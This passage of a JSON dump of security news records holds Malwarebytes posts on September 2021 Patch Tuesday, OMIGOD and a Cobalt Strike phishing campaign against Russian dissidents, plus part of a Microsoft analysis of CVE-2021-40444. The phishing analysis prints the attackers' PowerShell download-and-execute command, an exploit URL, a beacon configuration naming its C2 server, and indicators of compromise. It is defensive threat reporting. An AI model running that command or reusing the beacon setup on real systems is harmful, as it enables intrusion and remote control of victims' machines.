peddlers", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-03-18T22:58:48", "id": "MALWAREBYTES:F1563A57212EB7AEC347075E94FF1605", "href": "https://blog.malwarebytes.com/threat-spotlight/2022/03/meet-exotic-lily-access-broker-for-ransomware-and-other-malware-peddlers/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-17T16:35:06", "description": "The September 2021 Patch Tuesday could be remembered as the _final_ patching attempt in the PrintNightmare\u2026 nightmare. The ease with which the vulnerabilities [shrugged off the August patches](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/microsofts-printnightmare-continues-shrugs-off-patch-tuesday-fixes/>) doesn\u2019t look to get a rerun. So far we haven\u2019t seen any indications that this patch is so easy to circumvent.\n\nThe total count of fixes for this Patch Tuesday tallies up to 86, including 26 for Microsoft Edge alone. Only a few of these vulnerabilities are listed as zero-days and two of them are "old friends". There is a third, less-likely-to-be-exploited one, and then we get to introduce a whole new set of vulnerabilities nicknamed OMIGOD, for reasons that will become obvious.\n\nAzure was the subject of five CVE\u2019s, one of them listed as critical. The four that affect the Open Management Infrastructure (OMI) were found by researchers, grouped together and received the nickname OMIGOD.\n\n### PrintNightmare\n\nPrintNightmare is the name of a set of vulnerabilities that allow a standard user on a Windows network to execute arbitrary code on an affected machine (including domain controllers) as SYSTEM, allowing them to elevate their privileges as far as domain admin. Users trigger the flaw by simply feeding a malicious printer driver to a vulnerable machine, and could use their new-found superpowers to install programs; view, change, or delete data; or create new accounts with full user rights.\n\nThe problem was made worse by significant [confusion](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) about whether PrintNightmare was a known, patched problem or an entirely new problem, and by repeated, at best partially-successful, attempts to patch it.\n\nThis month, Microsoft patched the remaining Print Spooler vulnerabilities under [CVE-2021-36958](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36958>). Fingers crossed.\n\n### MSHTML\n\nThis zero-day vulnerability that felt like a ghost from the past (it involved ActiveX, remember that?) was only [found last week](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/windows-mshtml-zero-day-actively-exploited-mitigations-required/>), but has attracted significant attention. It was listed as [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>), a Remote Code Execution (RCE) vulnerability in Microsoft MSHTML. \n\nThreat actors were sharing PoCs, tutorials and exploits on hacking forums, so that every script kiddy and wannabe hacker was able to follow step-by-step instructions in order to launch their own attacks. Microsoft published mitigation instructions that disabled the installation of new ActiveX controls, but this turned out to be easy to work around for attackers.\n\nGiven the short window of opportunity, there was some doubt about whether a fix would be included in this Patch Tuesday, but it looks like Microsoft managed to pull it off.\n\n### DNS elevation of privilege vulnerability\n\nThis vulnerability was listed as [CVE-2021-36968](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36968>) and affects systems running Windows Server 2008 R2 SP1, SP2 and Windows 7 SP1. It exists due to an application that does not properly impose security restrictions in Windows DNS. The vulnerability is listed as a zero-day because it has been publicly disclosed, not because it is actively being exploited.\n\nMicrosoft says that exploitation is \u201cless likely\u201d, perhaps because it requires initial authentication and can only be exploited locally. If these conditions are met this bug can be used to accomplish elevation of privilege (EoP). \n\n### OMIGOD\n\nOMIGOD is the name for a set of four vulnerabilities in the Open Management Infrastructure (OMI) that you will find embedded in many popular Azure services. The CVEs are:\n\n * [CVE-2021-38647](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38647>) OMI RCE Vulnerability with a [CVSS score](<https://blog.malwarebytes.com/malwarebytes-news/2020/05/how-cvss-works-characterizing-and-scoring-vulnerabilities/>) of 9.8 out of 10.\n * [CVE-2021-38648](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648>) Open Management Infrastructure Elevation of Privilege Vulnerability\n * [CVE-2021-38645](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38645>) Open Management Infrastructure Elevation of Privilege Vulnerability\n * [CVE-2021-38649](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38649>) Open Management Infrastructure Elevation of Privilege Vulnerability\n\nThe [researchers](<https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution>) that discovered the vulnerabilities consider OMIGOD to be a result of the supply-chain risks that come with using open-source code:\n\n> Wiz\u2019s research team recently discovered a series of alarming vulnerabilities that highlight the supply chain risk of open source code, particularly for customers of cloud computing services.\n\nOMI runs as root (the highest privilege level) and is activated within Azure when users enable certain services, like distributed logging, or other management tools and services. It's likely that many users aren't even aware they have it running.\n\nThe RCE vulnerability (CVE-2021-38647) can be exploited in situations where the OMI ports are accessible to the Internet to allow for remote management. In this configuration, any user can communicate with it using a UNIX socket or via an HTTP API, and any user can abuse it to remotely execute code or escalate privileges.\n\nA coding mistake means that any incoming request to the service _without_ an authorization header has its privileges default to uid=0, gid=0, which is root. \n \nOMIGOD, right?\n\nThe researchers report that the flaw can only be used to remotely takeover a target when OMI exposes the HTTPS management port externally. This is the default configuration when installed standalone and in Azure Configuration Management or System Center Operations Manager (SCOM). Other Azure services (such as Log Analytics) do not expose this port, so in those cases the scope is limited to local privilege escalation.\n\nThey advise all Azure customers to connect to their Azure VMs and run the commands below in their terminal to ensure OMI is updated to the latest version:\n\n * For Debian systems (e.g., Ubuntu): `dpkg -l omi`\n * For Redhat based system (e.g., Fedora, CentOS, RHEL): `rpm -qa omi`\n\nIf OMI isn\u2019t installed, the commands won't return any results, and your machine isn\u2019t vulnerable. Version 1.6.8.1 is the patched version. All earlier versions need to be patched.\n\n## Update September 17, 2021\n\nAfter a proof-of-concept exploit was published on code hosting website GitHub, attackers we re noticed to be looking for Linux servers running on Microsoft\u2019s Azure cloud infrastructure. These systems are vulnerable to the security flaw called OMIGOD.\n\nAccording to reports from security researchers the attackers use the OMIGOD exploit, to deploy malware that ensnares the hacked server into cryptomining or DDoS botnets.\n\nThe post [[updated] Patch now! PrintNightmare over, MSHTML fixed, a new horror appears \u2026 OMIGOD](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/patch-now-printnightmare-over-mshtml-fixed-a-new-horror-appears-omigod/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {}, "published": "2021-09-15T13:19:48", "type": "malwarebytes", "title": "[updated] Patch now! PrintNightmare over, MSHTML fixed, a new horror appears \u2026 OMIGOD", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-36958", "CVE-2021-36968", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40444"], "modified": "2021-09-15T13:19:48", "id": "MALWAREBYTES:76333D1F0FCAFD79FA2EDD4A4CAFBB38", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/patch-now-printnightmare-over-mshtml-fixed-a-new-horror-appears-omigod/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-31T15:44:27", "description": "_This blog post was authored by Hossein Jazi._\n\n-- _Updated to clarify the two different campaigns (Cobalt Strike and Rat)_\n\nSeveral threat actors have taken advantage of the war in Ukraine to launch a number of cyber attacks. The Malwarebytes Threat Intelligence team is actively monitoring these threats and has observed activities associated with the geopolitical conflict.\n\nMore specifically, we've witnessed several APT actors such as [Mustang Panda](<https://twitter.com/h2jazi/status/1501198521139175427>), [UNC1151](<https://twitter.com/h2jazi/status/1500607147989684224>) and [SCARAB](<https://twitter.com/h2jazi/status/1505887653111209994>) that have used war-related themes to target mostly Ukraine. We've also observed several different [wipers](<https://blog.malwarebytes.com/threat-intelligence/2022/03/hermeticwiper-a-detailed-analysis-of-the-destructive-malware-that-targeted-ukraine/>) and cybercrime groups such as [FormBook](<https://blog.malwarebytes.com/threat-intelligence/2022/03/formbook-spam-campaign-targets-citizens-of-ukraine%EF%B8%8F/>) using the same tactics. Beside those known groups we saw an [actor](<https://twitter.com/h2jazi/status/1501941517409083397>) that used multiple methods to deploy a variants of Quasar Rat. These methods include using documents that exploit CVE-2017-0199 and CVE-2021-40444, macro-embedded documents, and executables. \n\nOn March 23, we identified a new campaign that instead of targeting Ukraine is focusing on Russian citizens and government entities. Based on the email content it is likely that the threat actor is targeting people that are against the Russian government.\n\nThe spear phishing emails are warning people that use websites, social networks, instant messengers and VPN services that have been banned by the Russian Government and that criminal charges will be laid. Victims are lured to open a malicious attachment or link to find out more, only to be infected with Cobalt Strike.\n\n## Spear phishing as the main initial infection vector\n\nThese emails pretend to be from the "Ministry of Digital Development, Telecommunications and Mass Communications of the Russian Federation" and "Federal Service for Supervision of Communications, Information Technology and Mass Communications" of Russia.\n\nWe have observed two documents associated with this campaign that both exploit CVE-2021-40444. Even though CVE-2021-40444 has been used in a few attacks in the past, to the best of our knowledge this was the first time we observed an attacker use RTF files instead of Word documents to exploit this vulnerability. Also the actor leveraged a new variant of this exploit called CABLESS in this attack. [Sophos](<https://news.sophos.com/en-us/2021/12/21/attackers-test-cab-less-40444-exploit-in-a-dry-run/>) has reported an attack that used a Cabless variant of this exploit but in that case the actor has not used the RTF file and also used RAR file to prepend the WSF data to it.\n\n * **Email with RTF file: **\n * _\u0424\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u043e \u043d\u0430\u0434\u0437\u043e\u0440\u0443 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0441\u0432\u044f\u0437\u0438, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439_ (Federal Service for Supervision of Communications, Information Technology and Mass Communications)\n * _\u041f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435! \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f, \u0441\u0432\u044f\u0437\u0438 \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438_ (A warning! Ministry of Digital Development, Telecommunications and Mass Media of the Russian Federation)\n\n[![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish1-2.png)](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish1-2.png> \"\" )Figure 1: Phishing template\n\n[![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish2.png)](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish2.png> \"\" )Figure 2: Phishing template \n\n * **Email with archive file:**\n * _\u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430\u0441\u0435\u043b\u0435\u043d\u0438\u044f \u043e\u0431 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u0445 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439, \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u0441\u0430\u043d\u043a\u0446\u0438\u0439 \u0438 \u0443\u0433\u043e\u043b\u043e\u0432\u043d\u043e\u0439 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435_. (informing the public about critical changes in the field of digital technologies, services, sanctions and criminal liability for their use.)\n * _\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435! \u0418\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f, \u0441\u0432\u044f\u0437\u0438 \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438_ (Attention! Informs the Ministry of Digital Development, Communications and Mass Media of the Russian Federation)\n\n[![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish4.png)](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish4.png> \"\" )Figure 3: Phishing template \n\n * **Email with link:**\n * _\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435! \u0418\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f, \u0441\u0432\u044f\u0437\u0438 \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438_ (Attention! Informs the Ministry of Digital Development, Communications and Mass Media of the Russian Federation)\n\n[![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish3.png)](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish3.png> \"\" )Figure 4: phishing template \n\n## Victimology\n\nThe actor has sent its spear phishing emails to people that had email with these domains: \n\n_mail.ru, mvd.ru, yandex.ru, cap.ru, minobr-altai.ru, yandex.ru, stavminobr.ru, mon.alania.gov.ru, astrobl.ru, 38edu.ru, mosreg.ru, mo.udmr.ru, minobrnauki.gov.ru, 66.fskn.gov.ru, bk.ru, ukr.net_\n\nBased on these domains, here is the list of potential victims:\n\n * Portal of authorities of the Chuvash Republic Official Internet portal\n * Russian Ministry of Internal Affairs\n * ministry of education and science of the republic of Altai \n * Ministry of Education of the Stavropol Territory\n * Minister of Education and Science of the Republic of North Ossetia-Alania\n * Government of Astrakhan region \n * Ministry of Education of the Irkutsk region \n * Portal of the state and municipal service Moscow region \n * Ministry of science and higher education of the Russian Federation\n\n## Analysis:\n\nThe lures used by the threat actor are in Russian language and pretend to be from Russia's "Ministry of Information Technologies and Communications of the Russian Federation" and "MINISTRY OF DIGITAL DEVELOPMENT, COMMUNICATIONS AND MASS COMMUNICATIONS". One of them is a letter about limitation of access to Telegram application in Russia. \n\n[![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/russia.png)](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/russia.png> \"\" )Figure 5: Lure letter\n\n[![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/cveblock.png)](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/cveblock.png> \"\" )Figure 6: Lure template\n\n \nThese RTF files contains an embedded url that downloads an html file which exploits the vulnerability in the MSHTML engine. \n`http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html`\n\nThe html file contains a script that executes the script in WSF data embedded in the RTF file. \n\n[![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/Screen-Shot-2022-03-25-at-2.37.47-PM.png)](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/Screen-Shot-2022-03-25-at-2.37.47-PM.png> \"\" )Figure 7: html file\n\n \nThe actor has added WSF data (Windows Script Host) at the start of the RTF file. As you can see from figure 8, WSF data contains a JScript code that can be accessed from a remote location. In this case this data has been accessed using the downloaded html exploit file. \n\n[![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/Screen-Shot-2022-03-25-at-1.43.00-PM.png)](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/Screen-Shot-2022-03-25-at-1.43.00-PM.png> \"\" )Figure 8: WSF data\n\nExecuting this scripts leads to spawning PowerShell to download a CobaltStrike beacon from the remote server and execute it on the victim's machine. (The deployed CobaltStrike file name is Putty) \n \n \n \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -windowstyle hidden $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest 'http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe' -OutFile $env:TEMP\\putty.exe; . $env:TEMP\\putty.exe; Start-Sleep 15\n\nThe following shows the CobaltStrike config:\n \n \n {\n \"BeaconType\": [\n \"HTTPS\"\n ],\n \"Port\": 443,\n \"SleepTime\": 38500,\n \"MaxGetSize\": 1398151,\n \"Jitter\": 27,\n \"C2Server\": \"wikipedia-book.vote,/async/newtab_ogb\",\n \"HttpPostUri\": \"/gen_204\",\n \"Malleable_C2_Instructions\": [\n \"Remove 17 bytes from the end\",\n \"Remove 32 bytes from the beginning\",\n \"Base64 URL-safe decode\"\n ],\n \"SpawnTo\": \"/4jEZLD/DHKDj1CbBvlJIg==\",\n \"HttpGet_Verb\": \"GET\",\n \"HttpPost_Verb\": \"POST\",\n \"HttpPostChunk\": 96,\n \"Spawnto_x86\": \"%windir%\\\\syswow64\\\\gpupdate.exe\",\n \"Spawnto_x64\": \"%windir%\\\\sysnative\\\\gpupdate.exe\",\n \"CryptoScheme\": 0,\n \"Proxy_Behavior\": \"Use IE settings\",\n \"Watermark\": 1432529977,\n \"bStageCleanup\": \"True\",\n \"bCFGCaution\": \"True\",\n \"KillDate\": 0,\n \"bProcInject_StartRWX\": \"True\",\n \"bProcInject_UseRWX\": \"False\",\n \"bProcInject_MinAllocSize\": 16700,\n \"ProcInject_PrependAppend_x86\": [\n \"kJCQ\",\n \"Empty\"\n ],\n \"ProcInject_PrependAppend_x64\": [\n \"kJCQ\",\n \"Empty\"\n ],\n \"ProcInject_Execute\": [\n \"ntdll.dll:RtlUserThreadStart\",\n \"SetThreadContext\",\n \"NtQueueApcThread-s\",\n \"kernel32.dll:LoadLibraryA\",\n \"RtlCreateUserThread\"\n ],\n \"ProcInject_AllocationMethod\": \"NtMapViewOfSection\",\n \"bUsesCookies\": \"True\",\n \"HostHeader\": \"\"\n }\n\n## Similar lure used by another actor\n\nWe also have identified activity by another actor that uses a similar lure as the one used in the previously mentioned campaign. This activity is potentially related to [Carbon Spider](<https://www.virustotal.com/gui/domain/swordoke.com/community>) and uses "_\u0424\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u043e \u043d\u0430\u0434\u0437\u043e\u0440\u0443 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0441\u0432\u044f\u0437\u0438, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439_" (Federal Service for Supervision of Communications, Information Technology and Mass Communications) of Russia as a template. In this case, the threat actor has deployed a PowerShell-based Rat. \n\n[![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/block-doc1.png)](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/block-doc1.png> \"\" )Figure 9: template\n\nThe dropped PowerShell script is obfuscated using a combination of Base64 and custom obfuscation. \n\n[![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/ps-dropped.png)](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/ps-dropped.png> \"\" )Figure 10: Dropped PS script\n\nAfter deobfuscating the script, you can see the Rat deployed by this actor. This PowerShell based Rat has the capability to get the next stage payload and execute it. The next stage payload can be one of the following file types:\n\n * JavaScript\n * PowerShell\n * Executable\n * DLL\n\nAll of Its communications with its server are in Base64 format. This Rat starts its activity by setting up some configurations which include the C2 url, intervals, debug mode and a parameter named group that initialized with "Madagascar" which probably is another alias of the actor. \n\nAfter setting up the configuration, it calls the "Initialize-Engine" function. This function collects the victim's info including OS info, Username, Hostname, Bios info and also a host-domain value that shows if the machine in a domain member or not. It then appends all the collected into into a string and separate them by "|" character and at the end it add the group name and API config value. The created string is being send to the server using _Send-WebInit_ function. This function adds "INIT%%%" string to the created string and base64 encodes it and sends it to the server. \n\n\n[![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/ps-deobfuscated.png)](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/ps-deobfuscated.png> \"\" )Figure 11: PowerShell Rat\n\nAfter performing the initialization, it goes into a loop that keeps calling the "Invoke-Engine" function. This function checks the incoming tasks from the server, decodes them and calls the proper function to execute the incoming task. If there is no task to execute, it sends "GETTASK%%" in Base64 format to its server to show it is ready to get tasks and execute them. The "IC" command is used to delete itself.\n\n[![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/invoke-task.png)](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/invoke-task.png> \"\" )Figure 12: Invoke task\n\nThe result of the task execution will be send to the server using "PUTTASK%%" command. \n\n## Infrastructure\n\nThe following shows the infrastructure used by this actor highlighting that the different lures are all connected. \n\n[![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/undefined.png)](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/undefined.png> \"\" )Figure 12: Infrastructure \n\nThe Malwarebytes Threat Intelligence continues to monitor cyber attacks related to the Ukraine war. We are protecting our customers and sharing additional indicators of compromise.\n\n## IOCs\n\n**RTF files host domain: ** \ndigital-ministry[.]ru \n**RTF files:** \nPKH telegram.rtf \nb19af42ff8cf0f68e520a88f40ffd76f53a27dffa33b313fe22192813d383e1e \nPKH.rtf \n38f2b578a9da463f555614e9ca9036337dad0af4e03d89faf09b4227f035db20 \n**MSHTML exploit: ** \nwallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html \n4e1304f4589a706c60f1f367d804afecd3e08b08b7d5e6bd8c93384f0917385c \n**CobaltStrike Download URL:** \nwallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe \n**CobaltStrike:** \nPutty.exe \nd4eaf26969848d8027df7c8c638754f55437c0937fbf97d0d24cd20dd92ca66d \n**CobaltStrike C2:** \nwikipedia-book[.]vote/async/newtab_ogb \n**Macro based maldoc: \n**c7dd490adb297b7f529950778b5a426e8068ea2df58be5d8fd49fe55b5331e28 \n**PowerShell based RAT:** \n9d4640bde3daf44cc4258eb5f294ca478306aa5268c7d314fc5019cf783041f0** \nPowerShell Rat C2:** \nswordoke[.]com** \n** \n \n\n\n \n\n\nThe post [New spear phishing campaign targets Russian dissidents](<https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-29T18:02:48", "type": "malwarebytes", "title": "New spear phishing campaign targets Russian dissidents", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0199", "CVE-2021-40444"], "modified": "2022-03-29T18:02:48", "id": "MALWAREBYTES:FC8647475CCD473D01B5C0257286E101", "href": "https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "mmpc": [{"lastseen": "2021-09-30T19:14:09", "description": "In August, Microsoft Threat Intelligence Center (MSTIC) identified a small number of attacks (less than 10) that attempted to exploit a remote code execution vulnerability in MSHTML using specially crafted Microsoft Office documents. These attacks used the vulnerability, tracked as [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>), as part of an initial access campaign that distributed custom Cobalt Strike Beacon loaders. These loaders communicated with an infrastructure that Microsoft associates with multiple cybercriminal campaigns, including human-operated ransomware.\n\nThe observed attack vector relies on a malicious ActiveX control that could be loaded by the browser rendering engine using a malicious Office document. Customers who enabled [attack surface reduction rules](<https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules?view=o365-worldwide>) to block Office from creating child processes are not impacted by the exploitation technique used in these attacks. While these attacks used a vulnerability to access entry point devices and run highly-privileged code, the secondary actions taken by the attackers still rely on stealing credentials and moving laterally to cause organization-wide impact. This illustrates the importance of investing in attack surface reduction, credential hygiene, and lateral movement mitigations. Customers are advised to apply the [security patch](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) for CVE-2021-40444 to fully mitigate this vulnerability.\n\nThis blog details our in-depth analysis of the attacks that used the CVE-2021-40444, provides detection details and investigation guidance for [Microsoft 365 Defender](<https://www.microsoft.com/en-us/microsoft-365/security/microsoft-365-defender>) customers, and lists mitigation steps for hardening networks against this and similar attacks. Our colleagues at [RiskIQ conducted their own analysis](<https://www.riskiq.com/blog/external-threat-management/wizard-spider-windows-0day-exploit/>) and coordinated with Microsoft in publishing this research.\n\n## Exploit delivery mechanism\n\nThe initial campaigns in August 2021 likely originated from emails impersonating contracts and legal agreements, where the documents themselves were hosted on file-sharing sites. The exploit document used an external oleObject relationship to embed exploitative JavaScript within MIME HTML remotely hosted content that results in (1) the download of a CAB file containing a DLL bearing an INF file extension, (2) decompression of that CAB file, and (3) execution of a function within that DLL. The DLL retrieves remotely hosted shellcode (in this instance, a custom Cobalt Strike Beacon loader) and loads it into _wabmig.exe_ (Microsoft address import tool.)\n\n![Screenshot of code showing the original exploit vector](https://www.microsoft.com/security/blog/uploads/securityprod/2021/09/Figure1.png)\n\n_Figure 1. The original exploit vector: an externally targeted oleObject relationship definition bearing an MHTML handler prefix pointed at an HTML file hosted on infrastructure that has similar qualities to the Cobalt Strike Beacon infrastructure that the loader\u2019s payload communicates with._\n\nContent that is downloaded from an external source is tagged by the Windows operating system with a mark of the web, indicating it was downloaded from a potentially untrusted source. This invokes Protected Mode in Microsoft Office, requiring user interaction to disable it to run content such as macros. However, in this instance, when opened without a mark of the web present, the document\u2019s payload executed immediately without user interaction \u2013 indicating the abuse of a vulnerability.\n\n![diagram showing attack chain of DEV-0413 campaign that used CVE-2021-40444](https://www.microsoft.com/security/blog/uploads/securityprod/2021/09/Figure2-attack-chain.png)\n\n_Figure 2. Attack chain of DEV-0413 campaign that used CVE-2021-40444_\n\n## DEV-0413 observed exploiting CVE-2021-40444\n\nAs part of Microsoft\u2019s ongoing commitment to tracking both nation state and cybercriminal threat actors, we refer to the unidentified threat actor as a \u201cdevelopment group\u201d and utilize a threat actor naming structure with a prefix of \u201cDEV\u201d to indicate an emerging threat group or unique activity during the tracking and investigation phases before MSTIC reaches high confidence about the origin or identity of the actor behind an operation. MSTIC tracks a large cluster of cybercriminal activity involving Cobalt Strike infrastructure under the name DEV-0365.\n\nThe infrastructure we associate with DEV-0365 has several overlaps in behavior and unique identifying characteristics of Cobalt Strike infrastructure that suggest it was created or managed by a distinct set of operators. However, the follow-on activity from this infrastructure indicates multiple threat actors or clusters associated with human-operated ransomware attacks (including the deployment of Conti ransomware). One explanation is that DEV-0365 is involved in a form of command- and-control infrastructure as a service for cybercriminals.\n\nAdditionally, some of the infrastructure that hosted the oleObjects utilized in the August 2021 attacks abusing CVE-2021-40444 were also involved in the delivery of BazaLoader and Trickbot payloads -- activity that overlaps with a group Microsoft tracks as DEV-0193. DEV-0193 activities overlap with actions tracked by 